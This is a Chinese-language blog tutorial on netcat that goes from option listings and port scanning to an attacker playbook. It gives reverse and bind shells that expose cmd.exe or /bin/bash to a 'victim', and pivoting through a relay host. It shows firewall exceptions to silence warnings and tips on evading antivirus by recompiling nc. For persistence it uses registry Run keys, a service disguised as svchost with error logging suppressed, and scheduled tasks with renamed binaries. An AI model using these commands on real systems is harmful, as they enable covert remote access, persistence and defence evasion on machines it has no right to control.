NC 瑞士军刀使用 [1]

首先来看下 所有的参数 

windows netcat

>nc -h 

connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound:     nc -l -p port [options] [hostname] [port]
options:
        -d              无命令行界面,使用后台模式   (only in windows)

        -e prog         程序重定向 [危险!!]
        -g gateway      源路由跳跃点, 不超过8     由发送者来选择怎么走的路由
        -G num          源路由指示器: 4, 8, 12, ...
        -h              获取帮助信息
        -i secs         端口之间延时设置,端口扫描时使用    nc -v -w 2 -z -i 4 -n  192.168.0.117 1-1024
        -l              监听入站信息
        -L              监听知道NetCat被结束(可断开重连)   linux中-L参数用在隧道
        -n              以数字形式表示的IP地址 ,不进行反向查询需要输入IP , 如果不加-n的话  那么您需要输入域名或者IP(会进行反向解析IP到域名)
        -o file         使进制记录                                                                                                                                -p port         打开本地端口
        -r              随机本地和远程的端口    不按照 从1024到1的端口顺序,随机的
        -s addr         本地源地址
        -t              以TELNET的形式应答入站请求
        -u              UDP 模式  使用UDP一般配合使用 -w  连接超时设置
        -v              显示详细信息 [使用=vv获取更详细的信息]
        -w secs         连接超时设置
        -z              I/O 模式 [扫描时使用]
端口号可以是单个的或者存在一个范围: m-n [包含值]




LINUX netcat

root@bt:/home# netcat -h
[v1.10-38]
connect to somewhere:	nc [-options] hostname port[s] [ports] ... 
listen for inbound:	nc -l -p port [-options] [hostname] [port]
options:
	-c shell commands	as `-e'; use /bin/sh to exec [dangerous!!] (only in linux)
	-e filename		program to exec after connect [dangerous!!]
	-b			allow broadcasts
	-g gateway		source-routing hop point[s], up to 8
	-G num			source-routing pointer: 4, 8, 12, ...
	-h			this cruft
	-i secs			delay interval for lines sent, ports scanned  
        -k                      set keepalive option on socket
	-l			listen mode, for inbound connects
	-n			numeric-only IP addresses, no DNS
	-o file			hex dump of traffic
	-p port			local port number
	-r			randomize local and remote ports
	-q secs			quit after EOF on stdin and delay of secs
	-s addr			local source address
	-T tos			set Type Of Service
	-t			answer TELNET negotiation
	-u			UDP mode
	-v			verbose [use twice to be more verbose]
	-w secs			timeout for connects and final net reads
	-z			zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').


基本使用


侦听本地端口(9999)

>nc -v -l -p 9999

 客户端使用telnet命令或者使用  nc 命令都可以连接到9999

 客户端输入 telnet ip1 9999 或者  nc -v ip1 9999 这样管道的输入输出就可以看到了 ,   telnet 输入是实时发送数据的, netcat输入是回车发送数据

  如果使用这个在端口中安装蜜罐的话 也是可以的 ,可以记录对方在这个端口的所有的输入

-e 参数 

可以使用他来重定向一个程序给连接段,如果是入侵者的话,那么可以重定向一个病毒或者木马给他

命令:

> nc -vv -L -p 9999 -e cmd.exe (反弹cmd.exe这个可以换成其他的程序,    如果9999端口是非法入侵的,那么可以通过执行一个程序对对方进行攻击或者日志)

在msf攻击中成功后,payload选择 reverse_tcp 就是反弹一个shell。


反向连接  nc -t -e cmd.exe 127.0.0.1  80   反向连接可以骗过部分防火墙  80 端也可以骗过

Linux写法: nc -l -p 999 -e /bin/bash



扫描:

nc -vv -z -w 2 -n 192.168.1.104 1-1024(nc -vvzn -w 2 192.168.1.104 1-1024 )  扫描目标主机192.68.1.104的 1-1024端口, 超时设置2秒

从1024 到 1 进行扫描

nc -v -z -w 3  192.168.0.117 21, 80, 135, 139, 445  (这样的写法要注意逗号后面有一个空格)

nc -v -z -w 3  192.168.0.117 http  直接写服务名称

(服务与端口对应: in /WINDOWS/system32
/drivers/etc/services. In Linux, the /etc/services file serves the same purpose. These files
are also the reference for using service names instead of port numbers.)



 NC 做溢出攻击是使用

   发送代码到溢出的地方 type  溢出代码文件 | nc -nvv 192.168.1.104 983   ( | 表示管道)

nc -L -p 80 > log80.log  蜜罐 日志重定向可以看到对方执行的命令,但是有个问题,如果对方知道了是这样的一个蜜罐的话,发大量的数据会不会导致硬盘慢呢

nc -L -p 80 >>log80.log追加日志


//读取dumpfile数据

nc –l –p 12345 < dumpfile  我测试了下   如果对方非法连接 ,dumpfile是一个很大的文件的话, 会直接让对方shell挂掉



//Redirecting Ports and Traffic

目标机器(target): nc -vv -L -p 54321

中间机器上执行(relay-跳板) : nc -vv -l -p 12345 |nc -vv -n 192.168.0.116 54321

入侵者电脑执行: nc -vv -n 192.168.0.107 12345

这样就通过192.168.0.107:12345 连接到了192.168.0.116 :54321

但是这样的作法有个问题 就是接受不到目标机器返回的信息,需要在目标机器上通过relay 在返回 入侵者机器



使用脚本扫描多个主机多个端口

   建立3个文件 hostlist.txt, request.txt, scanner.sh

 hostlist

192.168.0.1
192.168.0.66
192.168.0.117

request.txt

HEAD /HTTP/1.0 /n/n

scanner.sh

for i in `cat hostlist.txt `;do   
nc  -q 2 -v -n $i  333-446 < request.txt
done
注意第一行的写法 使用中文 单引号(‘)



外部防火墙测试

拓扑图


System B 是在防火墙外部

设置本机的所有的端口转发到1234

iptables -t nat -A PREROUTING -i eht0 -p udp --dport 1:65535 -j REDIRECT --to-port 1234

iptables -t nat -A PREROUTING -i eht0 -p tcp--dport 1:65535 -j REDIRECT --to-port 1234



侦听1234端口

nc -u -l -p 1234

nc -l -p 1234


System A进行扫描

nc -vv -n 192.168.0.117 1-65535


绕过winxp,win2003 防火墙

XP防火墙阻止开发TCP/IP堆栈,监听incoming连接



//显示防火墙配置

netsh firewall show opmode

//显示例外

netsh firewall show portopening


//设置防火墙 开启,并且允许例外的

netsh firewall set opmode mode=enable  exceptions = enable


//添加端口1234例外

netsh firewall add portopening TCP 1234 "my port" enable all

至此, 侦听1234端口就不会弹出警告



//NC反向连接

在本机(ip1)上执行 nc -vv -L -p 5555

在目标主机上执行 nc ip1 5555 -e cmd.exe

避开防火墙: nc ip1 5555 >> nc -e cmd.exe  这样 防火墙以为你在传输数据


win7,win2008请用 netsh advfirewall

参考资料:http://www.bitscn.com/os/windows/200803/132685_4.html



过杀软

 1、重新编译NC

2、 调试,修改杀软的特性码


后门

1. 正向连接 

拓扑:


 victim host:   nc  -d -L -p 1234 -e cmd.exe

attack Sys: nc  -d 192.168.0.116 1234

缺点: 如果别人扫描的话, 也可以连接上  Nessus 可以扫描到他是一个后门


2.正向连接

拓扑:



attach Sys: nc -v -L -p 1234

victim: nc -d 192.168.0.117 1234 -e cmd.exe

好处: 逃避过滤


后门执行方法

1.注册表

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:\windows\nc.exe -d 192.168.0.117 1234 -e cmd.exe"

   条件, 只要对开机启动加载启动注册表启动项有权限就可以

  缺点: 断开后,需要等待对方再次重新启动才可以连接

2.windows service method trigger

  sc create svchost binPath= "c:\windows\system32\cmd.exe /K start c:\windows\nc.exe -d 192.168.0.117 1234 -e cmd.exe" start= auto error= ignore

 net start svchost

error= ignore 表示服务发生错误  不写到系统日志

 好处: 启动 就可以连接,不需要登录, 注册表示需要登录的,后台自启动

为什么自启动后不能连接,需要使用 net start  svchost呢?


 3. 任务计划(Windows Task Scheduler) 

  查看任务计划: at

   启动调度: net start schedule

 time查看对方时间 

    当前时间: 11:26:54.89
     输入新时间:

每天 11:30 启动

at 11:30:00 /every:m,t,w,th,f,s,su ""c:\windows\nc.exe -d 192.168.0.117 1234 -e cmd.exe""

注意修改名称

如改成: at 11:30:00 /every:m,t,w,th,f,s,su ""c:\windows\svchost.exe -d 192.168.0.117 1234 -e explorer.exe""

后门启动方法总结

 


下一节: http://blog.csdn.net/wuhualong1314/article/details/7758963


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值